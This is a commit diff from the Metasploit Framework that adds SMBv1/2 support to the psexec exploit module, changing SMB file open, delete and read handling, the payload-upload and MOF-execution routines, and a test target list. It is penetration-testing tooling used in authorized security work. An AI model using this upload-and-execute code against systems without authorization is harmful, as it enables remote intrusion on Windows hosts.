Land #10185, add SMBv1/2 support in psexec
commit
85dc81a58b
|
@ -166,8 +166,8 @@ module Msf
|
||||||
#the default chunk size of 48000 for OpenFile is not compatible when signing is enabled (and with some nt4 implementations)
|
#the default chunk size of 48000 for OpenFile is not compatible when signing is enabled (and with some nt4 implementations)
|
||||||
#cause it looks like MS windows refuse to sign big packet and send STATUS_ACCESS_DENIED
|
#cause it looks like MS windows refuse to sign big packet and send STATUS_ACCESS_DENIED
|
||||||
#fd.chunk_size = 500 is better
|
#fd.chunk_size = 500 is better
|
||||||
def smb_open(path, perm)
|
def smb_open(path, perm, read: true, write: false)
|
||||||
self.simple.open(path, perm, datastore['SMB::ChunkSize'])
|
self.simple.open(path, perm, datastore['SMB::ChunkSize'], read: read, write: write)
|
||||||
end
|
end
|
||||||
|
|
||||||
def smb_hostname
|
def smb_hostname
|
||||||
|
@ -220,6 +220,8 @@ module Msf
|
||||||
def smb_file_exist?(file)
|
def smb_file_exist?(file)
|
||||||
begin
|
begin
|
||||||
fd = simple.open(file, 'o')
|
fd = simple.open(file, 'o')
|
||||||
|
rescue RubySMB::Error::UnexpectedStatusCode => e
|
||||||
|
found = false
|
||||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||||
# If attempting to open the file results in a "*_NOT_FOUND" error,
|
# If attempting to open the file results in a "*_NOT_FOUND" error,
|
||||||
# then we can be sure the file is not there.
|
# then we can be sure the file is not there.
|
||||||
|
|
|
@ -142,7 +142,7 @@ module Exploit::Remote::SMB::Client::Psexec
|
||||||
if svc_handle.nil?
|
if svc_handle.nil?
|
||||||
print_error("No service handle retrieved")
|
print_error("No service handle retrieved")
|
||||||
return false
|
return false
|
||||||
else
|
end
|
||||||
|
|
||||||
if service_description
|
if service_description
|
||||||
vprint_status("Changing service description...")
|
vprint_status("Changing service description...")
|
||||||
|
@ -186,10 +186,8 @@ module Exploit::Remote::SMB::Client::Psexec
|
||||||
svc_client.closehandle(svc_handle)
|
svc_client.closehandle(svc_handle)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
|
||||||
|
|
||||||
if disconnect
|
if disconnect
|
||||||
sleep(1)
|
|
||||||
simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
|
simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -272,11 +270,11 @@ module Exploit::Remote::SMB::Client::Psexec
|
||||||
end
|
end
|
||||||
|
|
||||||
def native_upload(smb_share)
|
def native_upload(smb_share)
|
||||||
filename = "#{rand_text_alpha(8)}.exe"
|
filename = "#{Rex::Text.rand_text_alpha(8)}.exe"
|
||||||
serviceencoder = ''
|
serviceencoder = ''
|
||||||
|
|
||||||
# Upload the shellcode to a file
|
# Upload the shellcode to a file
|
||||||
print_status("Uploading payload...")
|
print_status("Uploading payload... #{filename}")
|
||||||
smbshare = smb_share
|
smbshare = smb_share
|
||||||
fileprefix = ""
|
fileprefix = ""
|
||||||
# if SHARE = Users/sasha/ or something like this
|
# if SHARE = Users/sasha/ or something like this
|
||||||
|
@ -288,11 +286,11 @@ module Exploit::Remote::SMB::Client::Psexec
|
||||||
smbshare = folder_list[0]
|
smbshare = folder_list[0]
|
||||||
fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1
|
fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1
|
||||||
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
||||||
fd = smb_open("\\#{fileprefix}\\#{filename}", 'rwct')
|
fd = smb_open("#{fileprefix}\\#{filename}", 'rwct', write: true)
|
||||||
else
|
else
|
||||||
subfolder = false
|
subfolder = false
|
||||||
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
||||||
fd = smb_open("\\#{filename}", 'rwct')
|
fd = smb_open("#{filename}", 'rwct', write: true)
|
||||||
end
|
end
|
||||||
exe = ''
|
exe = ''
|
||||||
opts = { :servicename => service_name, :serviceencoder => serviceencoder}
|
opts = { :servicename => service_name, :serviceencoder => serviceencoder}
|
||||||
|
@ -330,14 +328,14 @@ module Exploit::Remote::SMB::Client::Psexec
|
||||||
if smb_share =~ /.[\\\/]/
|
if smb_share =~ /.[\\\/]/
|
||||||
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
||||||
begin
|
begin
|
||||||
simple.delete("\\#{fileprefix}\\#{filename}")
|
simple.delete("#{fileprefix}\\#{filename}")
|
||||||
rescue XCEPT::ErrorCode => e
|
rescue XCEPT::ErrorCode => e
|
||||||
print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.message}")
|
print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.message}")
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
||||||
begin
|
begin
|
||||||
simple.delete("\\#{filename}")
|
simple.delete("#{filename}")
|
||||||
rescue XCEPT::ErrorCode => e
|
rescue XCEPT::ErrorCode => e
|
||||||
print_error("Delete of \\#{filename} failed: #{e.message}")
|
print_error("Delete of \\#{filename} failed: #{e.message}")
|
||||||
end
|
end
|
||||||
|
@ -347,7 +345,7 @@ module Exploit::Remote::SMB::Client::Psexec
|
||||||
|
|
||||||
def mof_upload(smb_share)
|
def mof_upload(smb_share)
|
||||||
share = "\\\\#{datastore['RHOST']}\\ADMIN$"
|
share = "\\\\#{datastore['RHOST']}\\ADMIN$"
|
||||||
filename = "#{rand_text_alpha(8)}.exe"
|
filename = "#{Rex::Text.rand_text_alpha(8)}.exe"
|
||||||
|
|
||||||
# payload as exe
|
# payload as exe
|
||||||
print_status("Trying wbemexec...")
|
print_status("Trying wbemexec...")
|
||||||
|
@ -358,16 +356,16 @@ module Exploit::Remote::SMB::Client::Psexec
|
||||||
end
|
end
|
||||||
simple.connect(share)
|
simple.connect(share)
|
||||||
exe = generate_payload_exe
|
exe = generate_payload_exe
|
||||||
fd = smb_open("\\system32\\#{filename}", 'rwct')
|
fd = smb_open("\\system32\\#{filename}", 'rwct', write: true)
|
||||||
fd << exe
|
fd << exe
|
||||||
fd.close
|
fd.close
|
||||||
print_status("Created %SystemRoot%\\system32\\#{filename}")
|
print_status("Created %SystemRoot%\\system32\\#{filename}")
|
||||||
|
|
||||||
# mof to cause execution of above
|
# mof to cause execution of above
|
||||||
mofname = rand_text_alphanumeric(14) + ".MOF"
|
mofname = Rex::Text.rand_text_alphanumeric(14) + ".MOF"
|
||||||
mof = generate_mof(mofname, filename)
|
mof = generate_mof(mofname, filename)
|
||||||
print_status("Uploading MOF...")
|
print_status("Uploading MOF...")
|
||||||
fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct')
|
fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct', write: true)
|
||||||
fd << mof
|
fd << mof
|
||||||
fd.close
|
fd.close
|
||||||
print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}")
|
print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}")
|
||||||
|
|
|
@ -141,43 +141,7 @@ require 'rex/proto/smb/exceptions'
|
||||||
# Are we reading from a remote pipe over SMB?
|
# Are we reading from a remote pipe over SMB?
|
||||||
if (self.socket.class == Rex::Proto::SMB::SimpleClient::OpenPipe)
|
if (self.socket.class == Rex::Proto::SMB::SimpleClient::OpenPipe)
|
||||||
begin
|
begin
|
||||||
|
raw_response = self.socket.read(65535, 0)
|
||||||
# Max SMB read is 65535, cap it at 64000
|
|
||||||
max_read = [64000, max_read].min
|
|
||||||
min_read = [64000, min_read].min
|
|
||||||
|
|
||||||
read_limit = nil
|
|
||||||
|
|
||||||
while(true)
|
|
||||||
# Random read offsets will not work on Windows NT 4.0 (thanks Dave!)
|
|
||||||
|
|
||||||
read_cnt = (rand(max_read-min_read)+min_read)
|
|
||||||
if(read_limit)
|
|
||||||
if(read_cnt + raw_response.length > read_limit)
|
|
||||||
read_cnt = raw_response.length - read_limit
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
data = self.socket.read(read_cnt, rand(1024)+1)
|
|
||||||
break if !(data and data.length > 0)
|
|
||||||
raw_response += data
|
|
||||||
|
|
||||||
# Keep reading until we have at least the DCERPC header
|
|
||||||
next if raw_response.length < 10
|
|
||||||
|
|
||||||
# We now have to process the raw_response and parse out the DCERPC fragment length
|
|
||||||
# if we have read enough data. Once we have the length value, we need to make sure
|
|
||||||
# that we don't read beyond this amount, or it can screw up the SMB state
|
|
||||||
if (not read_limit)
|
|
||||||
begin
|
|
||||||
check = Rex::Proto::DCERPC::Response.new(raw_response)
|
|
||||||
read_limit = check.frag_len
|
|
||||||
rescue ::Rex::Proto::DCERPC::Exceptions::InvalidPacket
|
|
||||||
end
|
|
||||||
end
|
|
||||||
break if (read_limit and read_limit <= raw_response.length)
|
|
||||||
end
|
|
||||||
|
|
||||||
rescue Rex::Proto::SMB::Exceptions::NoReply
|
rescue Rex::Proto::SMB::Exceptions::NoReply
|
||||||
# I don't care if I didn't get a reply...
|
# I don't care if I didn't get a reply...
|
||||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => exception
|
rescue Rex::Proto::SMB::Exceptions::ErrorCode => exception
|
||||||
|
@ -306,7 +270,6 @@ require 'rex/proto/smb/exceptions'
|
||||||
raise Rex::Proto::DCERPC::Exceptions::NoResponse
|
raise Rex::Proto::DCERPC::Exceptions::NoResponse
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
self.last_response = Rex::Proto::DCERPC::Response.new(raw_response)
|
self.last_response = Rex::Proto::DCERPC::Response.new(raw_response)
|
||||||
|
|
||||||
if self.last_response.type == 3
|
if self.last_response.type == 3
|
||||||
|
|
|
@ -214,8 +214,12 @@ attr_accessor :socket, :client, :direct, :shares, :last_share, :versions
|
||||||
end
|
end
|
||||||
|
|
||||||
def delete(*args)
|
def delete(*args)
|
||||||
|
if self.versions.include?(2)
|
||||||
|
self.client.delete(args[0])
|
||||||
|
else
|
||||||
self.client.delete(*args)
|
self.client.delete(*args)
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
def create_pipe(path, perm = 'c')
|
def create_pipe(path, perm = 'c')
|
||||||
disposition = UTILS.create_mode_to_disposition(perm)
|
disposition = UTILS.create_mode_to_disposition(perm)
|
||||||
|
|
|
@ -29,7 +29,7 @@ module Rex::Proto::SMB
|
||||||
client.close(file_id, tree_id)
|
client.close(file_id, tree_id)
|
||||||
end
|
end
|
||||||
|
|
||||||
def read_ruby_smb(length, offset)
|
def read_ruby_smb(length, offset, depth = 0)
|
||||||
if length.nil?
|
if length.nil?
|
||||||
max_size = client.open_files[client.last_file_id].size
|
max_size = client.open_files[client.last_file_id].size
|
||||||
fptr = offset
|
fptr = offset
|
||||||
|
@ -47,7 +47,15 @@ module Rex::Proto::SMB
|
||||||
fptr = data.length
|
fptr = data.length
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
|
begin
|
||||||
data = client.read(file_id, offset, length).pack('C*')
|
data = client.read(file_id, offset, length).pack('C*')
|
||||||
|
rescue RubySMB::Error::UnexpectedStatusCode => e
|
||||||
|
if e.message == 'STATUS_PIPE_EMPTY' && depth < 2
|
||||||
|
data = read_ruby_smb(length, offset, depth + 1)
|
||||||
|
else
|
||||||
|
raise e
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
data
|
data
|
||||||
|
|
|
@ -88,7 +88,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
print_status("Connecting to the server...")
|
print_status("Connecting to the server...")
|
||||||
connect()
|
connect(versions: [1,2])
|
||||||
|
|
||||||
print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...")
|
print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...")
|
||||||
smb_login()
|
smb_login()
|
||||||
|
|
|
@ -12,7 +12,8 @@
|
||||||
"NAME": "exploit/windows/smb/psexec",
|
"NAME": "exploit/windows/smb/psexec",
|
||||||
"SETTINGS": [
|
"SETTINGS": [
|
||||||
"SMBUser=vagrant",
|
"SMBUser=vagrant",
|
||||||
"SMBPass=vagrant"
|
"SMBPass=vagrant",
|
||||||
|
"TARGET=0"
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
|
@ -42,6 +43,28 @@
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"CPE": "cpe:/o:microsoft:windows_10:::x64"
|
"CPE": "cpe:/o:microsoft:windows_10:::x64"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"CPE": "cpe:/o:microsoft:windows_8.1::sp1:x64"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"CPE": "cpe:/o:microsoft:windows_server_2008:r2:sp1:x64"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"CPE": "cpe:/o:microsoft:windows_7::sp1:x64",
|
||||||
|
"TESTING_SNAPSHOT": "DisableSMBv1"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"CPE": "cpe:/o:microsoft:windows_10:1607::x64",
|
||||||
|
"TESTING_SNAPSHOT": "DisableSMBv1"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"CPE": "cpe:/o:microsoft:windows_8.1:::x64",
|
||||||
|
"TESTING_SNAPSHOT": "DisableSMBv1"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"CPE": "cpe:/o:microsoft:windows_server_2008::r2:x64",
|
||||||
|
"TESTING_SNAPSHOT": "DisableSMBv1"
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
"TARGET_GLOBALS": {
|
"TARGET_GLOBALS": {
|
||||||
|
|
Loading…
Reference in New Issue